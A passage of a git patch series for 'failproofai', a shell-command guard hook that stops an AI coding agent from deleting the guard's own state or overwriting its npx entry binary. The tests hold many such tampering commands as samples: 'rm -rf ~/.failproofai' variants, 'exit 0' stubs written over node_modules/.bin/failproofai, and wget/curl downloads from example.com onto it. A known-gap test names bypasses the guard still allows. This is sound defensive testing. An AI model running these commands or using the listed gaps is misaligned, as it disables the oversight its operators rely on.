DIR`), or else the last operand. Each + * source is judged where it would land, `/`. Whether the + * destination really is a directory is not checked: when it is a file, that + * path is one nothing writes, and it matches only when a source is named like a + * protected file and the destination like the directory that holds one. + * + * A source that is itself protected is a copy OUT, so it counts only when it + * lands on installed code: `cp -r ~/.failproofai /tmp/backup/` lands at + * `/tmp/backup/.failproofai`, which the state pattern matches by name, and is a + * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its + * source is spelled. A source ending in a separator copies what is IN it, whose + * names are not on the line, so it is judged only through the bin-directory + * check. `inShell` resolves a relative word against a `cd` the walk followed. */ -function landsInDirectoryAs(words: string[], namesState: (text: string) => boolean): boolean { - if (words.length === 0 || !INTO_DIRECTORY_COMMANDS.has(commandBasename(words[0]))) return false; - const args = words.slice(1); +function landsInDirectoryAs( + words: string[], + namesState: (text: string) => boolean, + inShell: (word: string) => string = (word) => word, +): boolean { + if (words.length === 0) return false; + const head = commandBasename(words[0]); + const options = INTO_DIRECTORY_OPTIONS[head]; + if (!options) return false; const operands: string[] = []; let directory: string | undefined; + let createsDirectories = false; + let recursive = false; + let ontoItself = false; + const args = words.slice(1); for (let i = 0; i < args.length; i++) { const arg = args[i]; if (arg === "--") { operands.push(...args.slice(i + 1)); break; } - if (arg === "-t" || arg === "--target-directory") { - directory = args[++i]; - } else if (arg.startsWith("--target-directory=")) { - directory = arg.slice("--target-directory=".length); - } else if (!arg.startsWith("-")) { - operands.push(arg); + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + // GNU takes any unambiguous prefix: `--target DIR` is `--target-directory`. + if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { + directory = value ?? args[++i]; + } else if (options.long.includes(name)) { + if (value === undefined) i++; + } else if (name === "recursive" || name === "archive") { + recursive = true; + } else if (name === "no-target-directory") { + ontoItself = true; + } else if (head === "install" && name.length > 1 && "directory".startsWith(name)) { + createsDirectories = true; + } + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (options.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t" && head !== "rsync") directory = value; + break; + } + if (flag === "r" || flag === "R" || flag === "a") recursive = true; + if (flag === "T" && head !== "rsync") ontoItself = true; + if (flag === "d" && head === "install") createsDirectories = true; + } + continue; } + operands.push(arg); + } + if (createsDirectories) return false; + + // `ln -s ` alone links it into the current directory. + const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); + const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); + if (written === undefined || sources.length === 0) return false; + const destination = inShell(written); + if (directory === undefined && namesState(destination)) return true; + + const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); + if (NPM_BIN_DIRECTORY_RE.test(into)) { + if (head === "mv" || head === "ln") return true; + if (recursive || ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))) return true; } - const sources = directory === undefined ? operands.slice(0, -1) : operands; - const into = (directory ?? operands[operands.length - 1] ?? "").replace(/[\\/]+$/, ""); - if (into === "") return false; + if (into === "" || ontoItself) return false; return sources.some((source) => { - if (/[\\/]$/.test(source) || namesState(source)) return false; + if (/[\\/]$/.test(source)) return false; const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); - return name !== "" && name !== "." && name !== ".." && namesState(`${into}/${name}`); + if (name === "" || name === "." || name === "..") return false; + const landing = `${into}/${name}`; + if (!namesState(landing)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); }); } @@ -1605,6 +1726,18 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; + // Where the `cd`s so far put the shell, as written, when the walk can tell. + // A protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai` names + // `node_modules/.bin/failproofai` only once `failproofai` is read from there + // (FailproofAI/agenteye#1795). The patterns match the tail of a path, so a + // relative `cd` needs no starting directory. A subshell's `cd` is undone + // when it closes, which `shellDirScopes` remembers. + let shellDir: string | undefined; + const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; + const inShell = (word: string): string => + shellDir === undefined || word === "" || /^(?:[~/\\$]|[A-Za-z]:)/.test(word) ? word : `${shellDir}/${word}`; + const namesHere = (text: string): boolean => namesState(text) || (shellDir !== undefined && namesState(inShell(text))); // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -1623,9 +1756,9 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState) { + if (reachesState || shellDir !== undefined) { for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesState(target.replace(/^["']|["']$/g, ""))) return true; + if (namesHere(target.replace(/^["']|["']$/g, ""))) return true; } } @@ -1637,19 +1770,27 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd") { const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesState(operand); + cwdInState = operand !== undefined && namesHere(operand); cdParenDepth = cwdInState ? parenDepth : null; + if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); + // No operand is home; `cd -` goes somewhere the walk cannot see. + shellDir = operand === undefined ? "~" : operand === "-" ? undefined : inShell(operand); } else if (head === "popd") { // `popd` returns to wherever the shell was before `pushd`, which ends // the window as surely as a `cd` out does. Without it every command for // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; - } else if (landsInDirectoryAs(words, namesState)) { + shellDir = undefined; + } else if (landsInDirectoryAs(words, namesState, inShell)) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { + } else if ( + (reachesState || (shellDir !== undefined && words.some((w) => namesHere(w)))) && + words.length > 0 && + simpleCommandDestroys(words, namesHere) + ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; @@ -1659,6 +1800,9 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { cwdInState = false; cdParenDepth = null; } + while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { + shellDir = shellDirScopes.pop()!.dir; + } } } return false; From 59a9cf867f75b0c61c368874bb95bfa0bdd408af Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:17:00 +0530 Subject: [PATCH 32/60] [hooks] Address second review: quoted words, cd cost, false positives (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A fresh review of 248036ec found two regressions, a slowdown and new false positives; all are reproduced in the test file (159 cases: 100 fail on #1050's head, all pass here). - The redirect/comment-trimmed word list cut real words after a quoted `#` or `<` (`find ~/.failproofai -name 'x #' -o -delete` was allowed). The walk now judges the full and the trimmed list and denies when either does. `{fd}>` redirects are recognised. - The .bin pattern accepts anything that is not part of a name before it, and a glued short option (`>.bin/…`, `-O.bin/…`). - Performance: the shell's directory is kept as its last 16 segments with `.` and `..` resolved, words are resolved only when they or the directory spell failproof or are globs, and results are memoised. A 700-step cd script fell from 28.9 s to about 30 ms; the glob prefix loop stops at the deepest candidate (a 2,000-segment glob: 1.7 s to 60 ms). - False positives: only npm's node_modules/.bin counts as the bin directory (`mv tool ~/.bin/` is allowed), `ln` with a trailing `/` and any `-t` cannot create it, and mid-path glob stretches are tried only against multi-segment candidates (`rm -rf models/*ai`, `sed -i 's/.*ai/X/'`). Other users' homes are matched as /home/u. - Also closed: pushd/popd stack, `cd -`, `$PWD`, variables the line assigns (so `X=ai; rm -rf ~/.failproof$X` is caught: state-guard's known-gap line moves to the new file, as #1053 does), quotes around parentheses, `..`, abbreviated long options and rsync's full value-taking list, glob sources and a directory named .bin moved into a node_modules, and the session's cwd (or Antigravity's run_command cwd) as the starting directory. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 90 ++++++ __tests__/hooks/state-guard.test.ts | 3 +- src/hooks/builtin-policies.ts | 297 ++++++++++++++------ 3 files changed, 302 insertions(+), 88 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 69a2c276a..750dd32c8 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -30,6 +30,9 @@ const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-comman const bash = async (command: string) => (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; +const bashIn = async (cwd: string, command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command }, session: { cwd } }))).decision; + const write = async (file_path: string, cwd?: string) => policy.fn( makeCtx({ @@ -266,6 +269,52 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash(command)).toBe("deny"); }); + // A word is read without knowing whether it sits in quotes, so a quoted + // `#` or `<` must not hide the words after it. + it.each([ + ["a quoted # before an output flag", "curl -sS -H 'X-Ticket: #1795' -o ~/.failproofai/policies-config.json https://example.com/c"], + ["a quoted # before -delete", "find ~/.failproofai -name 'x #' -o -delete"], + ["a quoted # before tee's file", "printf 'exit 0' | tee 'a #' node_modules/.bin/failproofai"], + ["a quoted < in an option value", 'cp /tmp/stub.sh --suffix "y < " node_modules/.bin/failproofai'], + ["a {fd} redirect after the destination", "cp /tmp/stub.sh node_modules/.bin/failproofai {fd}>/dev/null"], + ["an abbreviated option's value after the destination", "cp /dev/null ~/.failproofai/policies-config.json --suf x"], + ["an rsync option's value after the destination", "rsync /tmp/stub.sh node_modules/.bin/failproofai --max-delete 5"], + ["a .. that steps back into .bin", "cp /tmp/stub.sh node_modules/.bin/x/../failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Paths built from what the same line assigns, and the shell's position + // carried through every way a shell moves it. + it.each([ + ["a variable holding the directory", "D=node_modules/.bin; cp /tmp/stub.sh $D/failproofai"], + ["a variable spliced into the state", "X=ai; rm -rf ~/.failproof$X"], + ["a variable holding npm's bin directory", "B=~/node_modules/.bin; ln -s /tmp/stage $B"], + ["a cd into a variable", "D=node_modules/.bin; cd $D && cp /tmp/stub.sh failproofai"], + ["$PWD after a cd", "cd node_modules/.bin && cp /tmp/stub.sh $PWD/failproofai"], + ["popd back to the directory", "pushd node_modules/.bin && pushd /tmp && popd && cp /tmp/stub.sh failproofai"], + ["cd - back to the directory", "cd node_modules/.bin && cd /tmp && cd - && cp /tmp/stub.sh failproofai"], + ["parentheses inside quotes", 'echo "(" && cd node_modules/.bin && echo ")" && cp /tmp/stub.sh failproofai'], + ["a directory named .bin moved into a node_modules", "mv /tmp/x/.bin ~/node_modules/"], + ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], + ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], + ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The session's directory is where the command starts: a `cd` in an + // earlier call persists. + it.each([ + ["/work/proj/node_modules/.bin", "cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "printf 'exit 0' > failproofai"], + ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], + ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], + ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + ])("denies a write from the session directory %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -295,9 +344,50 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], + // Somebody's own `~/.bin` is not npm's. + ["moving a tool into ~/.bin", "mv /tmp/tool ~/.bin/"], + ["linking a script into ~/.bin", "ln -s ~/dotfiles/scripts/deploy ~/.bin/"], + ["copying scripts into ~/.bin", "cp -r ./scripts/ ~/.bin/"], + ["syncing dotfiles into ~/.bin", "rsync -a dotfiles/bin/ ~/.bin/"], + ["moving a binary into a project's .bin", "mv golangci-lint .bin/"], + // `ln` cannot create a directory given a trailing `/`. + ["linking a package's CLI into node_modules/.bin/", "ln -s ../my-pkg/cli.js node_modules/.bin/"], + // A one-segment glob below another directory is not aimed at the state. + ["a glob ending in ai", "rm -rf models/*ai"], + ["a glob ending in i", "rm -f out/*i"], + ["a glob around proof", "rm -rf vendor/*proof*"], + ["a dotfile glob in a cache", "rm -rf ~/.cache/.f*"], + ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], + ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], + ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], + ["a cd and a build", "cd packages/api && npm run build"], + ["clearing a scratch directory", "cd /tmp && rm -rf *"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); + + it.each([ + ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], + ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + ])("allows ordinary work from %s", async (_label, cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // The walk runs on every tool call, and one evaluation holds up every hook + // on the machine. A directory that grew with each `cd` made later words + // slower to judge without bound (28.9 s for the first input in review). + it.each([ + ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], + ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], + ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + ])("judges %s in bounded time", async (_label, command) => { + const started = performance.now(); + await bash(command); + expect(performance.now() - started).toBeLessThan(3000); + }); }); // The guard protects the entry by NAME, so it has to be the name every diff --git a/__tests__/hooks/state-guard.test.ts b/__tests__/hooks/state-guard.test.ts index 11a84cbfd..3bf819b32 100644 --- a/__tests__/hooks/state-guard.test.ts +++ b/__tests__/hooks/state-guard.test.ts @@ -655,8 +655,9 @@ describe("block-failproofai-commands — the state guard", () => { // when the path is BUILT at run time the literal never appears, so there is // nothing to match. The real fix is action-gating on the resolved path, // which is not something a string check can do. + // (`~/.failproof$X` used to sit here too. The walk now expands a variable + // the same line assigns, so that one is caught; see guard-npx-local-bin.test.ts.) it("does not catch a path assembled at run time", async () => { - expect(await decide("X=ai; rm -rf ~/.failproof$X")).toBe("allow"); expect(await decide('echo ~/.failproofai > /tmp/t; rm -rf "$(cat /tmp/t)"')).toBe("allow"); expect(await decide("find ~ -inum 12345 -delete")).toBe("allow"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index f0379b987..d6cd10891 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -540,11 +540,13 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file; anchored on the start of a path component, so - // `firmware.bin/failproofai` is not it. A FILE, like the entry above: the - // rest of `node_modules/.bin` (every other package's binary, run by path - // all the time) stays out of it. - String.raw`(?.bin/…`), and so may a glued short option + // (`-O.bin/…`). A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + String.raw`(?:(? candidate.split("/").length)); +/** + * The candidates a mid-path stretch is tried against: the relative ones of two + * segments or more (`node_modules/failproofai`, `node_modules/.bin/failproofai`), + * which stand for the same files under any directory. + */ +const MULTI_SEGMENT_GLOB_CANDIDATES = STATE_GLOB_CANDIDATES.filter( + (candidate) => /^[^~/$]/.test(candidate) && candidate.replace(/^\.\//, "").includes("/"), +); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -1135,19 +1150,27 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - const segments = word.split("/"); - for (let end = 1; end <= segments.length; end++) { + // Somebody else's home is the same place as the candidates' `/home/u`: + // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. + const segments = word + .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") + .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") + .split("/"); + // A prefix with more segments than the deepest candidate cannot equal one: + // a compiled `*` never crosses a `/`. + for (let end = 1; end <= Math.min(segments.length, GLOB_CANDIDATE_DEPTH); end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } - // And every stretch that starts after a `/`, since the candidates are the - // TAILS of the paths they stand for: `/home/u/.failproof*` and - // `/work/proj/node_modules/.bin/fail*` begin with a prefix no candidate - // spells, so as whole words they named nothing (FailproofAI/agenteye#1795). - // A stretch longer than the deepest candidate cannot equal one. + // And every stretch that starts after a `/`, because the paths the + // multi-segment candidates stand for can sit under any directory: + // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word + // (FailproofAI/agenteye#1795). Only those candidates: a one-segment stretch + // such as `models/*ai` or the `.*ai` in `sed 's/.*ai/X/'` matches + // `.failproofai` by name, and no decoy can tell it from an aim at the state. for (let start = 1; start < segments.length; start++) { const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); - for (let end = start + 1; end <= last; end++) { - if (globPrefixNamesState(segments.slice(start, end).join("/"))) return true; + for (let end = start + 2; end <= last; end++) { + if (globPrefixNamesState(segments.slice(start, end).join("/"), MULTI_SEGMENT_GLOB_CANDIDATES)) return true; } } return false; @@ -1293,7 +1316,7 @@ function bracketExpressionAt(token: string, start: number): { source: string; en * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ -function globPrefixNamesState(token: string): boolean { +function globPrefixNamesState(token: string, candidates: readonly string[] = STATE_GLOB_CANDIDATES): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; const pattern = "^" + compileGlobPattern(token); let re: RegExp; @@ -1305,7 +1328,7 @@ function globPrefixNamesState(token: string): boolean { } catch { return false; } - if (!STATE_GLOB_CANDIDATES.some((candidate) => re.test(candidate))) return false; + if (!candidates.some((candidate) => re.test(candidate))) return false; return !GLOB_DECOYS.some((decoy) => re.test(decoy)); } @@ -1387,14 +1410,28 @@ function commandBasename(token: string): string { * and return the tokens from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. - * - * After the command word, redirects and a comment are not arguments either. - * They were returned as words, so the copy checks took the LAST one for the - * destination: `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` - * judged `2>/dev/null`, and `… # note` judged `note`, and both walked through. - * A redirect's target is judged by the redirect scan, not here. */ function commandWords(simpleCommand: string): string[] { + return commandWordLists(simpleCommand).words; +} + +/** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ +const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; +const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; + +/** + * `commandWords`, and the same words with redirects and a comment taken out + * after the command word. + * + * The copy checks take the LAST operand for the destination, so a redirect or + * comment after it became the destination they judged: + * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and + * `… node_modules/.bin/failproofai # keep` both walked through. But a token is + * read here without knowing whether it sits inside quotes, so `-H 'X: #1'` or + * `-name 'x #'` would cut off the real words after it. Neither list is right + * every time, so callers judge both and deny when either does (FailproofAI/agenteye#1795). + */ +function commandWordLists(simpleCommand: string): { words: string[]; trimmed: string[] } { const all = simpleCommand .trim() .split(/\s+/) @@ -1419,18 +1456,18 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - const words: string[] = []; + const trimmed: string[] = []; for (let j = i; j < all.length; j++) { - // Read as the shell does, unquoted: `">"` and `"#"` are arguments. + // Judged on the token as written: a quoted `">"` or `"#"` is an argument. const { raw, token } = all[j]; - if (raw.startsWith("#")) break; - if (j > i && /^\d*(?:>{1,2}\|?|<{1,3})/.test(raw)) { - if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(raw)) j++; + if (j > i && raw.startsWith("#")) break; + if (j > i && REDIRECT_OPERATOR_RE.test(raw)) { + if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; continue; } - words.push(token); + trimmed.push(token); } - return words; + return { words: tokens.slice(i), trimmed }; } /** @@ -1478,17 +1515,18 @@ function landsInDirectoryAs( const eq = arg.indexOf("="); const name = arg.slice(2, eq === -1 ? undefined : eq); const value = eq === -1 ? undefined : arg.slice(eq + 1); - // GNU takes any unambiguous prefix: `--target DIR` is `--target-directory`. + // GNU takes any unambiguous prefix of a long option: `--target DIR` is + // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { directory = value ?? args[++i]; - } else if (options.long.includes(name)) { - if (value === undefined) i++; - } else if (name === "recursive" || name === "archive") { - recursive = true; - } else if (name === "no-target-directory") { + } else if (name.length >= 4 && "no-target-directory".startsWith(name)) { ontoItself = true; - } else if (head === "install" && name.length > 1 && "directory".startsWith(name)) { + } else if (name.length >= 3 && ("recursive".startsWith(name) || "archive".startsWith(name))) { + recursive = true; + } else if (head === "install" && name.length >= 2 && "directory".startsWith(name)) { createsDirectories = true; + } else if (name.length >= 2 && options.long.some((long) => long.startsWith(name))) { + if (value === undefined) i++; } continue; } @@ -1519,21 +1557,39 @@ function landsInDirectoryAs( if (directory === undefined && namesState(destination)) return true; const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); - if (NPM_BIN_DIRECTORY_RE.test(into)) { - if (head === "mv" || head === "ln") return true; - if (recursive || ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))) return true; - } + // A directory becomes npm's bin directory when it is moved, linked or copied + // recursively onto a path that does not exist yet. `-t` needs a directory + // that exists, and so does `ln` given a trailing separator, so neither can. + // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an + // existing one with names that are not on the line. + const createsDirectory = + directory === undefined && !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || recursive); + const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); + if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { if (/[\\/]$/.test(source)) return false; const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); if (name === "" || name === "." || name === "..") return false; const landing = `${into}/${name}`; + // A directory named `.bin` landing in a `node_modules` is the same swap. + if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; + // A glob source puts names the line does not spell into the directory. + if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; if (!namesState(landing)) return false; return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); }); } +/** True when a one-segment glob could expand to the entry's own name. */ +function globCouldBeEntry(name: string): boolean { + try { + return new RegExp(`^${compileGlobPattern(name)}$`, "i").test("failproofai"); + } catch { + return true; + } +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1670,7 +1726,7 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0): boolean { +function destroysFailproofaiState(command: string, depth = 0, startDir?: string): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1681,7 +1737,7 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1)) return true; + if (destroysFailproofaiState(bodies[i], 1, startDir)) return true; bodies.push(...substitutionBodies(bodies[i])); } } @@ -1726,18 +1782,56 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; - // Where the `cd`s so far put the shell, as written, when the walk can tell. - // A protected FILE sits in a directory nothing protects, so `cwdInState` never - // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai` names + + // Where the shell stands, when the walk can tell: the session's directory to + // begin with, then wherever each `cd`, `pushd` and `popd` moves it. A + // protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or + // the same `printf` in a session a previous call left there, names // `node_modules/.bin/failproofai` only once `failproofai` is read from there - // (FailproofAI/agenteye#1795). The patterns match the tail of a path, so a - // relative `cd` needs no starting directory. A subshell's `cd` is undone - // when it closes, which `shellDirScopes` remembers. - let shellDir: string | undefined; + // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments + // with `.` and `..` resolved, because the patterns match the tail of a path + // and an unbounded path made every later word slower to judge. + let shellDir = startDir ? shellPath(undefined, startDir) : undefined; + let previousDir: string | undefined; + const dirStack: Array = []; const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; + const isRelative = (word: string) => word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); + // A relative word read from where the shell stands, and `..` resolved in any. const inShell = (word: string): string => - shellDir === undefined || word === "" || /^(?:[~/\\$]|[A-Za-z]:)/.test(word) ? word : `${shellDir}/${word}`; - const namesHere = (text: string): boolean => namesState(text) || (shellDir !== undefined && namesState(inShell(text))); + isRelative(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; + const judged = new Map(); + const namesHere = (text: string): boolean => { + if (namesState(text)) return true; + // Every pattern spells `failproof`, so only a word or a directory that + // does, or a glob that could, can resolve onto one. + if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; + const resolved = inShell(text); + if (resolved === text) return false; + let verdict = judged.get(resolved); + if (verdict === undefined) judged.set(resolved, (verdict = namesState(resolved))); + return verdict; + }; + // What the line assigns, so a word built from it is judged as the path it + // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the + // shell stands. A variable the line never sets stays a reference. + const values = new Map(assignments); + const expand = (word: string): string => { + let out = word; + for (let pass = 0; pass < 3 && out.includes("$"); pass++) { + out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => + name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? reference, + ); + } + return out; + }; + const moveTo = (dir: string | undefined) => { + previousDir = shellDir; + shellDir = dir; + cwdInState = dir !== undefined && namesState(dir); + cdParenDepth = cwdInState ? parenDepth : null; + }; + // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -1756,46 +1850,49 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState || shellDir !== undefined) { - for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesHere(target.replace(/^["']|["']$/g, ""))) return true; - } + for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { + if (namesHere(expand(target.replace(/^["']|["']$/g, "")))) return true; } for (const simple of simpleCommands) { - parenDepth += (simple.match(/\(/g) ?? []).length; - const words = commandWords(simple); + // Parentheses inside quotes open and close nothing. + const shellText = simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + parenDepth += (shellText.match(/\(/g) ?? []).length; + const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); + const words = lists[0]; const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. - if (head === "cd" || head === "pushd") { - const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && 